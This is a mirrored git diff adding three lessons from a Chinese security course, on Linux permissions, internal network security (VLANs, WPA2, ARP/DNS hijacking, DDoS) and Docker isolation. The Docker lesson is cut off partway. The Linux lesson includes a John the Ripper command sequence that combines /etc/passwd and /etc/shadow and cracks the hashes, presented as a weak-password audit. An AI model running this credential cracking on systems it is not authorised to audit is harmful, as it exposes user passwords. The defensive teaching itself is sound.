mirror of
https://github.com/cheetahlou/CategoryResourceRepost.git
synced 2025-11-16 22:23:45 +08:00
del
This commit is contained in:
@@ -0,0 +1,148 @@
|
||||
<audio id="audio" title="13 | Linux系统安全:多人共用服务器,如何防止别人干“坏事”?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/35/50/355bda46606065ecaf205b0bc09d3e50.mp3"></audio>
|
||||
|
||||
你好,我是何为舟。
|
||||
|
||||
从这一讲开始,我们讨论Linux系统和应用安全。我们知道,在开发一个应用的过程中,需要涉及代码、操作系统、网络和数据库等多个方面。所以,只是了解代码安全肯定是不够的,我们还需要了解常见的基础环境和工具中的安全机制,学会通过正确地配置这些安全机制,来提升安全保障。
|
||||
|
||||
谈到Linux,我相信你每天都在使用Linux进行各种开发和运维操作。但是,大多数情况下,公司不会给每一个员工分配专有的Linux服务器,而是多个开发和运维共用一台Linux服务器。那么,其他员工在使用Linux服务器的时候,会不会对我们自己的数据和进程产生影响呢?另外,我在Web安全中讲过,黑客可以通过很多漏洞控制Linux服务器,那我们又该如何避免和控制黑客的破坏呢?
|
||||
|
||||
## 如何理解Linux中的安全模型?
|
||||
|
||||
要解决这些安全问题,我们首先要了解一个安全模型,Linux的安全模型。
|
||||
|
||||
我们先来看一下Linux的构成,Linux可以分为内核层和用户层。用户层通过内核层提供的操作接口来执行各类任务。
|
||||
|
||||
内核层提供的权限划分、进程隔离和内存保护的安全功能,是用户层的安全基础。一旦内核安全被突破(比如黑客能够修改内核逻辑),黑客就可以任意地变更权限、操作进程和获取内存了。这个时候,任何用户层的安全措施都是没有意义的。
|
||||
|
||||
既然Linux的内核安全这么重要,那我们是不是要在防护上付出大量的精力呢?事实上,正如我们不需要在开发应用时(尤其是使用Java这类相对高层的语言时),过多地关心操作系统相关的内容一样,我们在考虑Linux安全时,也不需要过多地考虑内核的安全,更多的是要考虑用户层的安全。所以,对于Linux内核层的安全,我们只需要按照插件漏洞的防护方法,确保使用官方的镜像并保持更新就足够了。
|
||||
|
||||
既然,使用最多的是用户层,那我们就来看一下,用户层的操作都有什么。
|
||||
|
||||
在Linux中,用户层的所有操作,都可以抽象为“主体->请求->客体”这么一个流程。比如,“打开/etc/passwd”这一操作的主体是实际的用户,请求是读,客体是/etc/passwd这个文件。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/6c/7d/6c581c176186ff38ab931210b7073a7d.jpeg" alt="">
|
||||
|
||||
在这个过程中,Linux内核安全提供了基于权限的访问控制,确保数据不被其他操作获取。Linux用户层则需要确保权限的正确配置,这就是我开篇提到的,如何保证多人安全地共用服务器的关键,也是我们这节课需要关注的重点内容。
|
||||
|
||||
## 黄金法则是如何在Linux系统中应用的?
|
||||
|
||||
现在我们知道了,**Linux系统安全防护的核心是正确配置用户层权限。**那接下来,我们就从[黄金法则](https://time.geekbang.org/column/article/176568)的认证、授权和审计这三个方面来看一下,Linux系统是如何进行权限配置的,这其中,又有哪些值得我们重点关注的安全选项。
|
||||
|
||||
### 1.Linux中的认证机制
|
||||
|
||||
Linux系统是一个支持多用户的操作系统,它通过普通的文本文件来保存和管理用户信息。这其中,有两个比较关键的文件:**`/etc/passwd`和`/etc/shadow`。**
|
||||
|
||||
我们知道,在Linux中,`/etc/passwd`是全局可读的,不具备保密性。因此,`/etc/passwd`不会直接存储密码,而是用x来进行占位。那实际的用户密码信息,就会存储到仅ROOT可读的`/etc/shadow`中。
|
||||
|
||||
在`/etc/shadow`中,除了加密后的密码,也保存了诸如密码有效天数、失效多少天告警之类的密码管理策略。我们可以通过Chage命令来对密码管理策略进行修改,比如,通过下面的Chage命令,就可以强制Test用户在60天内必须对密码进行修改。通过这样的方式,就可以降低密码泄露的可能性了。
|
||||
|
||||
```
|
||||
chage -M 60 test
|
||||
|
||||
```
|
||||
|
||||
因为认证这个功能是由Linux内核来提供的,所以在用户层,我们需要关心的安全问题,就是弱密码导致的身份信息泄露。为了解决这个问题,在`/etc/shadow`中,我们可以制定适当的密码策略。除此之外,我们也可以通过[John the Ripper](https://github.com/magnumripper/JohnTheRipper),使用已知的弱密码库,来对Linux中的弱密码进行检测。下面的命令,就是使用John the Ripper检测弱密码。
|
||||
|
||||
```
|
||||
unshadow /etc/passwd /etc/shadow > mypasswd
|
||||
john mypasswd
|
||||
john --show mypassw
|
||||
|
||||
```
|
||||
|
||||
### 2.Linux中的授权机制
|
||||
|
||||
在“黄金法则”中,认证只是第一步,它提供了一个可信的身份标识。有了这个身份标识之后,就需要通过授权来限制用户能够发起的请求了。
|
||||
|
||||
在Linux中,客体只有文件和目录两种,针对这两种类型的客体,Linux都定义了读、写和执行这三种权限。你可以通过我总结的这张对比表格看到,文件和目录在这三种权限上的区别。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/fd/2c/fdea7d4bfebb7e8114ce64f82a32e22c.jpeg" alt="">
|
||||
|
||||
除此之外,Linux还提供了一些额外的权限标签,来进行更细粒度的权限控制。
|
||||
|
||||
比如,Linux提供了文件属性的概念,来对文件设置更多的保护。通过`chattr +i /etc/passwd`可以防止文件被任何用户修改。想要了解更多的文件属性,你可以参考[Wikipedia](https://en.wikipedia.org/wiki/Chattr)。
|
||||
|
||||
Linux还提供了“粘滞位”的功能,主要用来防止用户随意操作其他用户的文件。比如`chmod +t /tmp`可以阻止删除/tmp目录下其他用户的文件。
|
||||
|
||||
这些都是Linux在授权中的自我保护机制,那我们能在这个过程中进行怎样的防护呢?
|
||||
|
||||
前面,我们一直在强调,**Linux系统面临的安全威胁其实就是权限问题。**也就是说,要么就是敏感文件的权限配置不当,导致这些文件可以被额外的用户访问或执行;要么就是应用存在漏洞或密码泄露,导致低权限用户可以获得更高的权限。
|
||||
|
||||
**要解决权限问题,我们就要实践最小权限原则。**
|
||||
|
||||
我们先来看一个Linux系统安全中最普遍的问题:滥用ROOT。很多人在登录Linux系统后,第一个命令就是通过su来获取ROOT的Shell环境,这样我们就不需要在每次操作的时候,通过sudo来临时提升至ROOT权限。
|
||||
|
||||
但是,这里你需要注意一点,在ROOT的Shell环境中启动的所有进程也都具备ROOT权限。如果启动的是一个立即返回的进程,如CAT,不会有太多问题,但如果是一个长期运行的进程,就很容易产生权限的滥用。
|
||||
|
||||
比如,当你以ROOT的身份启动Redis或者MySQL等存储工具时,如果这时有其他用户连入Redis或者MySQL,那他们也能间接地获取ROOT的权限。在大部分服务器入侵的场景中,黑客都是通过这些具备ROOT权限的进程漏洞,来实现权限提升的。
|
||||
|
||||
因此,在运行任何长驻进程时,我们都需要谨记“最小权限”原则。也就是说,我们可以根据要执行的操作等级,配置“最小权限”来启动常驻进程。比如,如果只是在Redis和MySQL这样的数据库中进行文件读写操作,根本不需要ROOT这种最高等级的权限。
|
||||
|
||||
因此,“最小权限”原则在Linux系统中的应用是非常重要的。那你可能会问了,Linux系统中的操作那么多,每个操作都需要自己进行权限配置吗?当然不是,我们常常会使用一些已知的工具,来实现“最小权限”启动长驻进程的功能,而你需要做的,就是正确地启动或者配置这些工具。
|
||||
|
||||
比如说,我们可以通过mysqld启动MySQL服务,mysqld会将MySQL的进程分配到“mysql”这个用户,并在ROOT下建立守护进程。具体的效果如下:
|
||||
|
||||
```
|
||||
root 297353 0.0 0.0 115432 1360 ? S Aug12 0:00 /bin/sh /usr/local/mysql/bin/mysqld_safe --datadir=/var/lib/mysql --pid-file=/var/lib/mysql/mysql.pid
|
||||
mysql 297553 31.3 4.3 11282756 5729572 ? Sl Aug12 22593:40 /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --datadir=/var/lib/mysql --plugin-dir=/usr/local/mysql/lib/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/var/lib/mysql/mysql.pid --socket=/var/lib/mysql/mysql.sock
|
||||
|
||||
```
|
||||
|
||||
类似地,当启动Nginx时,Nginx会将Worker节点以nobody的用户身份来执行。具体的效果如下:
|
||||
|
||||
```
|
||||
root 7083 0.0 0.0 61032 5324 ? Ss Aug12 0:01 nginx: master process nginx
|
||||
nobody 331122 0.0 0.0 90768 31776 ? S 11:44 0:00 nginx: worker process
|
||||
nobody 331123 0.0 0.0 90768 32720 ? S 11:44 0:00 nginx: worker process
|
||||
nobody 331124 0.0 0.0 90768 31776 ? S 11:44 0:00 nginx: worker process
|
||||
|
||||
```
|
||||
|
||||
当然,也有一些工具不提供这类最小权限切换的功能,比如,在直接执行`redis-server`启动Redis的时候,就需要我们自己来对用户身份进行切换。那用户身份切换怎么做呢?
|
||||
|
||||
我们首先来看Nginx的例子,在启动Nginx的时候,Linux提供了nobody这么一个用户的身份。实际上,任何人进入Linux系统首先获得的用户身份就是nobody,然后再从nobody进行登录,切换到其他正常用户身份上。
|
||||
|
||||
因此,**nobody通常拥有整个操作系统中最小的权限。**所以,对于不提供最小权限切换功能的工具,我们就可以使用nobody的用户身份,来进行主动切换了。
|
||||
|
||||
在执行`redis-server`启动Redis的时候,我们就可以通过以下命令,以nobody的身份执行`redis-server了`(前提是,我们需要对日志和PID等目录进行适当配置,确保能够以nobody身份写入):
|
||||
|
||||
```
|
||||
su -s /bin/redis-server nobody
|
||||
|
||||
```
|
||||
|
||||
这样一来,我们就能通过“最小权限”原则,提升Linux系统授权的安全性了。
|
||||
|
||||
### 3.Linux中的审计机制
|
||||
|
||||
我们在前面的课程中说过,“黄金法则”中的审计主要就是日志记录和分析。那么,Linux系统中的日志都有哪些呢?在Linux系统中,系统的日志信息通常存储在/var/log目录下,部分应用程序也会把相关日志记录到这个目录中。系统日志主要分为3类,用户登录日志、特殊事件日志和进程日志。
|
||||
|
||||
用户登录日志主要是`/var/log/wtmp`和`/var/run/utmp`,用来保存用户登录相关的信息。用户登录日志本身为二进制文件,我们无法直接通过文本方式查看,但是可以配合`who/users/ac/last/lastlog`这样的命令来获取。
|
||||
|
||||
特殊事件日志主要包括`/var/log/secure`和`/var/log/message`。其中,`/var/log/secure`主要记录认证和授权相关的记录,如果有人试图爆破SSH,我们就可以从这个日志中观察出来。`/var/log/message`由syslogd来维护,syslogd这个守护进程提供了一个记录特殊事件和消息的标准机制,其他应用可以通过这个守护进程来报告特殊的事件。
|
||||
|
||||
进程日志:当通过accton来进行系统进程管理时,会生成记录用户执行命令的pacct文件。
|
||||
|
||||
默认情况下,Linux会通过logrotate对日志执行相应的保留策略(比如日志切割和旧日志删除等)。通过配置`/etc/logrotate.conf`可以对不同日志的保留策略进行修改。
|
||||
|
||||
那如何对日志进行监控呢?这里,我向你推荐2种常见的日志分析工具ELK和Zabbix,你可以利用这些工具来监控Linux的安全日志。也就是说,我们可以通过在这些分析平台配置恰当的规则(如SSH登录尝试失败3次以上),来及时发现黑客的部分入侵尝试,迅速产生报警。然后,我们就可以针对具体的问题,进行人工复查了。
|
||||
|
||||
## 总结
|
||||
|
||||
好了,今天的内容讲完了。我们来一起总结回顾一下,你需要掌握的重点内容。
|
||||
|
||||
Linux系统安全可以说是“最小权限”原则的最佳实践平台,尤其是当存在多用户共同维护和使用一台服务器的时候,正确的配置权限将是一件很有挑战的工作。为此,我们必须严格限制ROOT权限的使用。同时,为了避免进程漏洞,适当地通过iptables进行访问限制,也能够起到不错的保护效果。
|
||||
|
||||
在Linux系统的自我保护基础之上,也有一些安全工具能够为系统提供额外的保护功能(如杀毒软件、HIDS等),在后续的内容中,我们会深入讲解这些工具。
|
||||
|
||||
最后,我把这一讲的重点内容梳理了一个脑图。你可以用它来查漏补缺,也可以自己来梳理看看,加深印象。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/46/72/46d1a126a68fe253eb8746d84b5d0272.jpg" alt="">
|
||||
|
||||
## 思考题
|
||||
|
||||
最后给你留一个思考题。
|
||||
|
||||
检查一下你的Linux服务器,看一下哪些用户具备ROOT权限?那些进程具备ROOT权限?这些用户和进程,真的需要ROOT权限吗?我们是否可以利用今天学到的知识,对这些ROOT权限进行限制呢?
|
||||
|
||||
欢迎留言和我分享你的思考和疑惑,也欢迎你把文章分享给你的朋友。我们下一讲再见!
|
||||
@@ -0,0 +1,120 @@
|
||||
<audio id="audio" title="14 | 网络安全:和别人共用Wi-Fi时,你的信息会被窃取吗?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/db/e2/db13039c9c23cd09150c8cf9498041e2.mp3"></audio>
|
||||
|
||||
你好,我是何为舟。
|
||||
|
||||
你平时使用手机连接无线网络的时候,一定看到过这样的安全提示:不要连接陌生的Wi-Fi。也一定看过很多这样的报道:某先生/女士因为使用了陌生的Wi-Fi,信息遭到泄露,不仅账号被盗用,还造成了经济损失。
|
||||
|
||||
看到这些提示和报道之后,你就要产生警惕了,当你连入一个陌生的Wi-Fi时,这个Wi-Fi下连接的其他人很有可能会看到你的信息,并且对你发起攻击。
|
||||
|
||||
你可能要说了,只要我避免连入陌生的Wi-Fi,前面说的攻击就基本不会发生了。但是,在工作中,员工和服务器通常接入的也是同一个网络,那员工是不是就可以任意地捕获服务器中的流量呢?其他人是不是也能轻易地窃取员工信息呢?内网又是怎么保证安全性的呢?
|
||||
|
||||
## 内网中的“最小权限原则”
|
||||
|
||||
我们先来看,内网是怎么保证安全性的。前面我们说过,在Linux系统中,我们可以使用“最小权限原则”来限制黑客的行动能力。而“最小权限原则”,在内网中同样适用。为了保证安全性,我们要限制黑客进入内网后的权限范围,也就是说,就算黑客能够进入内网,我们也只允许它在一个有限的子网内进行访问,而不能任意地访问所有服务。那内网中的“最小权限原则”究竟是怎么实现的呢?
|
||||
|
||||
在内网中,实现“最小权限原则”的核心在于分区和隔离。接下来,我们就一起来看,在公司内网中,分区和隔离具体是怎么实现的。
|
||||
|
||||
### 1.对内网进行水平划分
|
||||
|
||||
我们知道,连入内网的人和设备具备不同的“身份”和“权限”。比如,公司正式员工、外包员工和访客等,这些人所使用的内网服务区别很大。因此,我们需要依据不同的“身份”来对网络区域进行隔离,而这就需要用到VLAN提供的功能了。
|
||||
|
||||
那什么是VLAN呢?在一般情况下,连入同一个交换机的所有设备都在同一个网络中,两两之间能够相互访问。为了阻止这些设备相互访问,我们可以在交换机上设定,在不改变物理连接的情况下,通过交换机的控制将这个网络划分为多个不同的子网,也就是VLAN( Virtual Local Area Network,虚拟局域网)。简单来说,VLAN就是一个交换机创建出来的多个子网。因为隔离的存在,不同VLAN的访问请求,会被交换机阻止。
|
||||
|
||||
这样一来,我们就实现了对不同“身份”的人的网络隔离。
|
||||
|
||||
### 2.对内网进行垂直划分
|
||||
|
||||
事实上,对不同“身份”的人的网络隔离属于对内网进行水平划分。除此之外,公司也会对内网进行垂直划分。
|
||||
|
||||
最简单的,我们会将公司内网整体保护起来,和外网进行隔离,这种隔离就属于垂直划分。在这种隔离之下,内网可以访问外网的资源,外网却不能够直接访问内网的资源。要实现这种隔离,就需要用到路由器了。路由器会将连入的所有内网设备打包在一起。所以,对外网来说,内网变成了一个整体,也就无法访问到某个具体的设备了。
|
||||
|
||||
在下图中,我简单地展示了一下利用路由器和交换机对内网进行划分的效果:通过路由器划分内网和外网,通过交换机划分正式员工网络和外包员工网络。实际上,你还可以对每一个VLAN按照安全等级,进行进一步的垂直和水平划分。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/0f/a7/0fd26393177c3de655ad76e68c4bcaa7.jpeg" alt="">
|
||||
|
||||
## 有线网络和无线网络安全
|
||||
|
||||
现在,你应该知道如何在内网中落实“最小权限原则”了。而网络作为一个数据传输的主要通道,保障其中数据的安全性,也是非常重要的。这其中包括两个关键问题。
|
||||
|
||||
- 如何保障通道中的数据不被窃取?这涉及认证和加密的手段。
|
||||
- 如何保障通道的接收方是可信的?也就是如何避免被“劫持”。
|
||||
|
||||
在工作中,我们最常接触的两种网络就是**有线**和**无线网络**,接下来,我就结合前面这两个关键问题,带你探讨一下有线和无线环境中的网络安全。
|
||||
|
||||
### 1.无线网络安全
|
||||
|
||||
无线网络你应该非常熟悉,我们在实际工作和生活中到处都需要用到无线网络。在无线网中,个人设备是通过射频技术和无线热点进行连接的。射频无法定向接收,因此,数据都是“广播”出去的。也就是说,只要在设备和热点附近,任何人都能接收到无线网络中的数据。
|
||||
|
||||
为了保证无线网络数据的安全性,我们主要的防护手段,就是使用目前最安全的无线网络协议[WPA2](https://baike.baidu.com/item/WPA2/4913331?fr=aladdin)。
|
||||
|
||||
但是,WPA2协议只是用来保护无线网络中数据安全性的。它的连入密钥都是共享的,所以不具备严格意义上的认证功能。而公司需要通过认证知道每一个连入内网的设备的归属,来追踪每一个员工的操作。那无线网络中的认证是怎么做的呢?
|
||||
|
||||
一般的操作是对连入的用户实行“**强制门户**”。“强制门户”你应该很熟悉,就是当你使用公用密钥连入网络之后,还需要你在网页中再次进行认证。比如,在连入机场网络后,还需要你进行手机号验证。具体的原理就是,用户在连入Wi-Fi后,路由器会将用户的HTTP请求重定向至认证页面。认证成功后,路由器会记录用户的身份和MAC,后续路由器就可以根据MAC来识别用户身份了。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/38/18/38b36d03bb2d6b90b8a3a5e35695e818.jpeg" alt="">
|
||||
|
||||
那“强制门户”在公司内部是怎么应用的呢?一般在连入内网后,员工还需要通过公司邮箱和密码,进行一次额外的验证。这样一来,公司就能够知道连入内网的到底是哪一名员工了。
|
||||
|
||||
说完了无线网络中的认证和加密,我们再看一下“劫持”的问题。在无线网络中,“劫持”的主要方式是**伪造热点**。
|
||||
|
||||
伪造热点的实现,主要依赖的就是现在设备的自动连网功能。简单来说,就是只要你的设备曾经连入过某一个热点,设备就会记住这个热点的ID和密码,下次如果设备再检测到这个热点ID,就会尝试自动连接。
|
||||
|
||||
而黑客也可以利用自动连网的功能发起攻击。黑客只需要伪造出来一个相同的热点ID,就可以诱导用户的设备连入黑客的热点,从而“劫持”流量。避免伪造热点的方法也很简单,就是对办公网络中的未知热点进行扫描。
|
||||
|
||||
所以,总结一下,在无线网的安全中,我们需要关注这三个点:
|
||||
|
||||
- 是否使用了安全的协议,也就是WPA2;
|
||||
- 是否有认证技术,也就是强制门户;
|
||||
- 是否有未知的热点出现在办公环境中。
|
||||
|
||||
### 2.有线网络安全
|
||||
|
||||
区别于无线网络,**有线网络不存在认证和加密的问题**。这个很好理解,因为有线网是通过网线来进行物理接入的。换一句话说,只要运维人员给服务器插上了网线,就说明运维人员授权这台服务器接入内网了。而且,一根网线只能将一台设备连入网络,不存在网线共享。所以,不需要考虑加密的问题。因此,我们在有线网络中,主要考虑的问题就是“劫持”。
|
||||
|
||||
所谓“劫持”,其实就是误导服务器将请求发送到黑客的设备上去。在无线网中,服务器实际上是向连接的热点发送请求,因此,我们可以通过伪造热点来进行误导。那在有线网中,服务器又会向哪里发送请求呢?
|
||||
|
||||
在网络协议中,目标地址主要通过MAC地址和IP地址来确定。MAC地址和IP地址分别是基于[ARP协议](https://baike.baidu.com/item/ARP/609343?fromtitle=ARP%E5%8D%8F%E8%AE%AE&fromid=1742212&fr=aladdin)和[DNS协议](https://baike.baidu.com/item/dns%E5%8D%8F%E8%AE%AE/1860066?fr=aladdin)来进行寻址的。因为ARP和DNS都是早期的网络协议,所以安全性较低。因此黑客可以轻易地发出伪造的ARP包和DNS包,从而“欺骗”目标设备将数据包发送到黑客的设备上,实现流量“劫持”的功能。
|
||||
|
||||
为了帮助你理解这个过程,我把ARP“劫持”的过程总结成了一张图。从这张图中,我们能看到,服务器A想要向服务器B发起请求,但是黑客通过发送伪造的ARP包误导A说:“10.0.0.2的MAC地址是3:3:3:3”。因为ARP没有进行认证,所以A会无条件相信黑客的说法。那么,当A想要向B发送请求的时候,MAC地址会设定成黑客的3:3:3:3,所以请求最终就发送到了黑客的服务器上。DNS“劫持”的原理,和这个比较类似,也是黑客误导服务器,让服务器错认黑客的IP为某个域名的IP。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/60/52/60a12414c08c62df9fa0ac685df93952.jpeg" alt="">
|
||||
|
||||
那该如何避免有线网络中的“劫持”呢?有两种方法:第一种方法是对网络进行更合理地划分,避免黑客进入敏感的内网区域中;第二种方法就是在网络中进行定期地检测。为什么要定期进行检测呢?这是因为,通过伪造ARP和DNS包发起的流量“劫持”发生在内网中,往往不需要通过防火墙等网络设备,所以难以被检测出来。因此,我们需要在网络中进行定期地检测,发掘异常的请求路径(如某个服务器将请求发送到了未知的设备),尽早发现“劫持”行为。
|
||||
|
||||
## 如何理解DDoS攻击?
|
||||
|
||||
最后,我们再来介绍一种常见的内网攻击,**DDoS攻击**(Distributed Denial Of Service Attack,分布式拒绝服务攻击)。DDoS就是黑客由外网向公司服务发起大量的请求,从而打满网络带宽,让内网无法响应用户的正常请求。那么,DDoS是如何产生的呢?我们又该如何防护呢?
|
||||
|
||||
说到这,我们先了解一下DoS(Denail f Service,拒绝服务)攻击。知道了DoS攻击,DDoS攻击就很好理解了。
|
||||
|
||||
DoS攻击主要有两种类型。一种是通过漏洞进行攻击,使得服务或设备因为程序报错而宕机。比如针对ICMP协议的“死亡之PING”,就是因为旧版本的Windows系统在处理超长的ICMP包时会报错死机。另一种则是通过巨量的垃圾流量挤占网络带宽,使得网络设备无法接收或者发送合法的流量。
|
||||
|
||||
但是,黑客如果直接对目标网络发起DoS攻击,很容易就会被溯源出来。所以,黑客会通过大量的“肉鸡”(被黑客远程控制的机器)来向目标网络发起请求,隐藏自己的真实地址。这个过程就是DDoS。
|
||||
|
||||
这里要补充一点,依靠“肉鸡”代理,黑客不仅可以增加自己被溯源的难度,还可以放大(或者说增强)攻击的效果。比如,当你请求一个网页时,你请求的数据实际上只有一个URL,但服务器却需要返回给你一整个网页。
|
||||
|
||||
近几年比较流行的基于Memcache的DDoS,就是黑客向“肉鸡”的Memcache发送一个十几个字节的GET请求,通过在请求参数中进行配置,黑客可以让Memcache服务器将返回的结果发送到目标的服务器,而返回的结果能够达到几百Kb的数据量,放大倍数达到数万倍。这也是为什么黑客可以依靠几十个“肉鸡”代理,挤占目标网络几十GB的带宽。
|
||||
|
||||
DDoS能对内网造成非常严重的影响,那我们该如何进行防护呢?目前来说,DDoS基本是不可防的。因为只要你的应用还在正常地提供服务,那就需要接收外网的请求,因此没办法直接拒绝黑客向你发起的请求。哪怕你能够识别出这些恶意的请求,并且拒绝响应,这也只能避免CPU被耗尽,而带宽的资源还是会被占用。
|
||||
|
||||
所以,各类云服务厂商提供的DDoS解决方案,基本都是依靠带宽扩容来进行保障的。比如,阿里云可能会卖给你一个40G的防DDoS服务。只要DDoS的流量小于40G,阿里云就会保障你服务的可用性。一旦超过,就会直接关停你的服务避免资源浪费。
|
||||
|
||||
## 总结
|
||||
|
||||
好了,今天的内容讲完了。我们来一起总结回顾一下,你需要掌握的重点内容。
|
||||
|
||||
网络在为我们提供了便利的同时,也为黑客的攻击提供了一个方便的入口。除了在应用层针对Web漏洞进行攻击,黑客也会直接在网络层发起攻击。网络层的攻击以窃取流量为主,黑客利用监听、“劫持”等方式,窃取用户数据。在无线网中,黑客可以通过伪造热点来窃取流量;在内网中,黑客可以通过ARP和DNS“劫持”等来窃取流量。我们需要通过定期的检测内网,来发掘可能的攻击行为。
|
||||
|
||||
除此之外,黑客还会通过DDoS的方式,来破坏公司和应用网络的可用性,对正常服务产生影响。从理论上来说,DDoS目前不可防,我们只能通过扩容带宽,来增加网络自身的耐受能力。
|
||||
|
||||
好了,我把这一讲的重点内容梳理了一个脑图。你可以用它来查漏补缺,也可以自己来梳理看看,加深印象。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/0a/6e/0a1b41d3d05c871fa4f4bfcdc375a06e.jpg" alt="">
|
||||
|
||||
## 思考题
|
||||
|
||||
最后,给你留一个思考题。
|
||||
|
||||
你可以观察一下,你们公司办公网的连入方式,思考一下,通过这种连入方式,公司能定位到你在办公的时候,都请求了哪些网页或者服务吗?
|
||||
|
||||
欢迎留言和我分享你的思考和疑惑,也欢迎你把文章分享给你的朋友。我们下一讲再见!
|
||||
@@ -0,0 +1,184 @@
|
||||
<audio id="audio" title="15 | Docker安全:在虚拟的环境中,就不用考虑安全了吗?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/7d/73/7de7d479540dda711f236e81d3692873.mp3"></audio>
|
||||
|
||||
你好,我是何为舟。
|
||||
|
||||
在[13讲](https://time.geekbang.org/column/article/186777)中,我们讲了Linux系统安全。但是,当你在和同事讨论Linux系统安全的时候,同事表示,公司的服务都是通过Docker来进行容器化部署的。开发在操作中,并不会接触实际的Linux服务器,所以不会去关注Linux安全 。而且,因为容器是隔离的,就算容器被黑客攻击了,也只是容器内部受到影响,对宿主的Linux系统和网络都不会产生太大影响。
|
||||
|
||||
事实上,我知道很多人都有这种想法。但是,你在学习了安全专栏之后,可以试着思考一下,开发使用了Docker就一定安全吗?真的可以不用考虑安全问题了吗?
|
||||
|
||||
以防你对Doker还不是很了解,在解决这些问题之前,我先来解释一下这节课会涉及的3个概念,帮你扫清概念障碍。
|
||||
|
||||
- Docker服务:Docker所提供的功能以及在宿主机Linux中的Docker进程。
|
||||
- Docker镜像:通过Dockerfile构建出来的Docker镜像。
|
||||
- Docker容器:实际运行的Docker容器,通常来说,一个Docker镜像会生成多个Docker容器。Docker容器运行于Docker服务之上。
|
||||
|
||||
了解了这3个关键概念之后,我们今天就从这些概念入手,来谈一谈Docker的安全性。
|
||||
|
||||
## Docker服务安全
|
||||
|
||||
我们首先来看Docker服务的安全性。Docker服务本身需要关注的安全性就是:隔离。如果黑客在控制了容器之后,能够成功对宿主机产生影响,就说明黑客突破了Docker服务的隔离保护,也就是我们所说的“Docker逃逸”。
|
||||
|
||||
那么,Docker服务是如何对容器进行隔离,来防止“Docker逃逸”的呢?接下来,我就介绍一下这3个关键的隔离机制:Namespace机制、Capabilities机制和CGroups机制。
|
||||
|
||||
第1个是**Namespace机制**。
|
||||
|
||||
我们知道,Docker之所以广泛流行,是因为它提供了一种轻量化的隔离环境,也就是容器。
|
||||
|
||||
下面,我们重点解释一下“轻量化”和“隔离”这两个词。首先是轻量化。怎么理解轻量化呢?我们可以对比虚拟机来进行理解。虚拟机是自己创造了一个虚拟内核,让这个虚拟内核去和虚拟机的进程进行沟通,然后虚拟内核再和真实的Linux内核进行沟通。而Docker提供的容器,简化了这个沟通过程,让Docker中的进程直接和Linux内核进行沟通。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/6b/17/6b2a1d0ff075f7f1cbe4a70d6a211617.jpeg" alt="">
|
||||
|
||||
第二个词是隔离。也就是说,Docker提供的容器环境是和Linux内核隔离的。想要实现这种隔离,就需要用到**Namespace机制**了。所以,这里我先给你简单解释一下什么是Namespace机制。
|
||||
|
||||
Namespace是Linux提供的一种标签机制,Linux内核会对不同Namespace之间的进程做隔离,避免不同的进程之间互相产生影响。所以,Docker服务会为每一个Docker容器创建一个单独的Namespace空间。 这样一来,不同容器之间、容器和系统之间,都是不同的Namespace,也就实现了隔离。
|
||||
|
||||
这种基于Namespace的隔离我一般叫它“伪隔离”。因为通过Namespace进行的隔离并不彻底。为啥这么说呢?Docker容器在隔离的环境中,仍然需要使用一些底层的Linux进程和设备支持。比如,你在Docker容器中仍然需要使用鼠标、键盘等输入输出设备,那么容器就必须挂载Linux系统中的/sys来获得对应的驱动和配置信息。也就是说,你在Docker中看到的/sys目录,实际就是Linux系统中的/sys目录。类似地,还有一些没有被Namespace隔离开的目录和模块,包括以下这些内容:
|
||||
|
||||
- 部分的进程目录/proc/…
|
||||
- 内存映像/dev/mem
|
||||
- 系统设备/dev/sd*
|
||||
- Linux内核模块
|
||||
|
||||
换一句话说,因为容器和宿主机需要共同使用一些服务(比如容器和宿主机使用的是同一个鼠标),所以上面的这些目录和模块,对于容器和宿主机来说,其实是共享的。从理论上来说,如果你在Docker容器中修改了这些目录,那么宿主机当中也会同步相应的修改结果。
|
||||
|
||||
第2个**Capabilities机制**。
|
||||
|
||||
我们刚刚说了,Namespace的伪隔离机制让容器和宿主机共享部分目录。那么,这是不是也意味着,Docker容器可以通过这些目录来影响宿主机,从而实现“Docker逃逸”呢?为了避免这种情况,Docker服务使用了Capabilities机制,来限制容器的操作。
|
||||
|
||||
Capabilities提供了更细粒度的授权机制,它定义了主体能够进行的某一类操作。比如,一个Web服务需要绑定80端口,但80端口的绑定是需要ROOT权限的。为了防止ROOT权限滥用,Docker会通过Capabilities,给予这个Web服务net_bind_service这个权限(允许绑定到小于1024的端口)。同样地,Docker对容器的ROOT也加了很多默认的限制,比如:
|
||||
|
||||
- 拒绝所有的挂载操作;
|
||||
- 拒绝部分文件的操作,比如修改文件所有者;
|
||||
- 拒绝内核模块加载。
|
||||
|
||||
这里有一点需要你注意,Capabilities对容器可进行操作的限制程度很难把控。这是因为,过松会导致Docker容器影响宿主机系统,让Docker隔离失效;过严会让容器和容器内的服务功能受限,无法正常运行。
|
||||
|
||||
所以,在默认情况下,Docker会采用白名单机制(白名单列表你可以在Docker源码中查看)进行限制,即只允许Docker容器拥有几个默认的能力。那有了白名单限制,即使黑客成功拿到了容器中的ROOT权限,能够造成的影响也相对较小。所以我们常说,“Docker逃逸”是一件不容易的事情。
|
||||
|
||||
第3个是**CGroups机制**。
|
||||
|
||||
好了,现在你应该知道Docker服务本身是如何防止“Docker逃逸”的了。作为一个容器,Docker显然不能过多地占用宿主机资源,不然对宿主机和自身的可用性都会产生影响。那Docker是如何实现资源限制的呢?
|
||||
|
||||
Docker服务可以利用CGroups机制来实现对容器中内存、CPU和IO等的限制。比如,通过下面的命令,我们就可以限制Docker容器只使用2个CPU和100MB的内存来运行了。
|
||||
|
||||
```
|
||||
docker run -it --cpus=2 --memory="100m" ubuntu:latest /bin/bash
|
||||
|
||||
```
|
||||
|
||||
